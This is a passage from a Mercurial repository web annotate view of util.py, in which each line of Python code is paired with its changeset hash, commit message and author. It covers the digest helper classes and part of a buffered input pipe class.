31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
199 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
200 |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
201 DIGESTS = { |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
202 b'md5': hashlib.md5, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
203 b'sha1': hashlib.sha1, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
204 b'sha512': hashlib.sha512, |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
205 } |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
206 # List of digest types from strongest to weakest |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
207 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
208 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
209 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
210 assert k in DIGESTS |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
211 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
212 |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
213 class digester(object): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
214 """helper to compute digests. |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
215 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
216 This helper can be used to compute one or more digests given their name. |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
217 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
218 >>> d = digester([b'md5', b'sha1']) |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
219 >>> d.update(b'foo') |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
220 >>> [k for k in sorted(d)] |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
221 ['md5', 'sha1'] |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
222 >>> d[b'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
223 'acbd18db4cc2f85cedef654fccc4a4d8' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
224 >>> d[b'sha1'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
225 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
226 >>> digester.preferred([b'md5', b'sha1']) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
227 'sha1' |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
228 """ |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
229 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
230 def __init__(self, digests, s=b''): |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
231 self._hashes = {} |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
232 for k in digests: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
233 if k not in DIGESTS: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
234 raise error.Abort(_(b'unknown digest type: %s') % k) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
235 self._hashes[k] = DIGESTS[k]() |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
236 if s: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
237 self.update(s) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
238 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
239 def update(self, data): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
240 for h in self._hashes.values(): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
241 h.update(data) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
242 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
243 def __getitem__(self, key): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
244 if key not in DIGESTS: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
245 raise error.Abort(_(b'unknown digest type: %s') % k) |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
246 return nodemod.hex(self._hashes[key].digest()) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
247 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
248 def __iter__(self): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
249 return iter(self._hashes) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
250 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
251 @staticmethod |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
252 def preferred(supported): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
253 """returns the strongest digest type in both supported and DIGESTS.""" |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
254 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
255 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
256 if k in supported: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
257 return k |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
258 return None |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
259 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
260 |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
261 class digestchecker(object): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
262 """file handle wrapper that additionally checks content against a given |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
263 size and digests. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
264 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
265 d = digestchecker(fh, size, {'md5': '...'}) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
266 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
267 When multiple digests are given, all of them are validated. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
268 """ |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
269 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
270 def __init__(self, fh, size, digests): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
271 self._fh = fh |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
272 self._size = size |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
273 self._got = 0 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
274 self._digests = dict(digests) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
275 self._digester = digester(self._digests.keys()) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
276 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
277 def read(self, length=-1): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
278 content = self._fh.read(length) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
279 self._digester.update(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
280 self._got += len(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
281 return content |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
282 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
283 def validate(self): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
284 if self._size != self._got: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
285 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
286 _(b'size mismatch: expected %d, got %d') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
287 % (self._size, self._got) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
288 ) |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
289 for k, v in self._digests.items(): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
290 if v != self._digester[k]: |
23076
c312ef382033
i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents:
23030
diff
changeset
|
291 # i18n: first parameter is a digest name |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
292 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
293 _(b'%s mismatch: expected %s, got %s') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
294 % (k, v, self._digester[k]) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
295 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
296 |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
297 |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
298 try: |
15657
d976b1ef6760
util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents:
15656
diff
changeset
|
299 buffer = buffer |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
300 except NameError: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
301 |
33549
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
302 def buffer(sliceable, offset=0, length=None): |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
303 if length is not None: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
304 return memoryview(sliceable)[offset : offset + length] |
33549
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
305 return memoryview(sliceable)[offset:] |
10756
cb681cc59a8d
util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents:
10487
diff
changeset
|
306 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
307 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
308 _chunksize = 4096 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
309 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
310 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
311 class bufferedinputpipe(object): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
312 """a manually buffered input pipe |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
313 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
314 Python will not let us use buffered IO and lazy reading with 'polling' at |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
315 the same time. We cannot probe the buffer state and select will not detect |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
316 that data are ready to read if they are already buffered. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
317 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
318 This class let us work around that by implementing its own buffering |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
319 (allowing efficient readline) while offering a way to know if the buffer is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
320 empty from the output (allowing collaboration of the buffer with polling). |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
321 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
322 This class lives in the 'util' module because it makes use of the 'os' |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
323 module from the python stdlib. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
324 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
325 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
326 def __new__(cls, fh): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
327 # If we receive a fileobjectproxy, we need to use a variation of this |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
328 # class that notifies observers about activity. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
329 if isinstance(fh, fileobjectproxy): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
330 cls = observedbufferedinputpipe |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
331 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
332 return super(bufferedinputpipe, cls).__new__(cls) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
333 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
334 def __init__(self, input): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
335 self._input = input |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
336 self._buffer = [] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
337 self._eof = False |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
338 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
339 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
340 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
341 def hasbuffer(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
342 """True is any data is currently buffered |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
343 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
344 This will be used externally a pre-step for polling IO. If there is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
345 already data then no polling should be set in place.""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
346 return bool(self._buffer) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
347 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
348 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
349 def closed(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
350 return self._input.closed |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
351 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
352 def fileno(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
353 return self._input.fileno() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
354 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
355 def close(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
356 return self._input.close() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
357 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
358 def read(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
359 while (not self._eof) and (self._lenbuf < size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
360 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
361 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
362 |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
363 def unbufferedread(self, size): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
364 if not self._eof and self._lenbuf == 0: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
365 self._fillbuffer(max(size, _chunksize)) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
366 return self._frombuffer(min(self._lenbuf, size)) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
367 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
368 def readline(self, *args, **kwargs): |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
369 if len(self._buffer) > 1: |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
370 # this should not happen because both read and readline end with a |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
371 # _frombuffer call that collapse it. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
372 self._buffer = [b''.join(self._buffer)] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
373 self._lenbuf = len(self._buffer[0]) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
374 lfi = -1 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
375 if self._buffer: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
376 lfi = self._buffer[-1].find(b'\n') |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
377 while (not self._eof) and lfi < 0: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
378 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
379 if self._buffer: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
380 lfi = self._buffer[-1].find(b'\n') |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
381 size = lfi + 1 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
382 if lfi < 0: # end of file |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
383 size = self._lenbuf |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
384 elif len(self._buffer) > 1: |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
385 # we need to take previous chunks into account |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
386 size += self._lenbuf - len(self._buffer[-1]) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
387 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
388 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
389 def _frombuffer(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
390 """return at most 'size' data from the buffer |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
391 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
392 The data are removed from the buffer.""" |
be930f16a52a
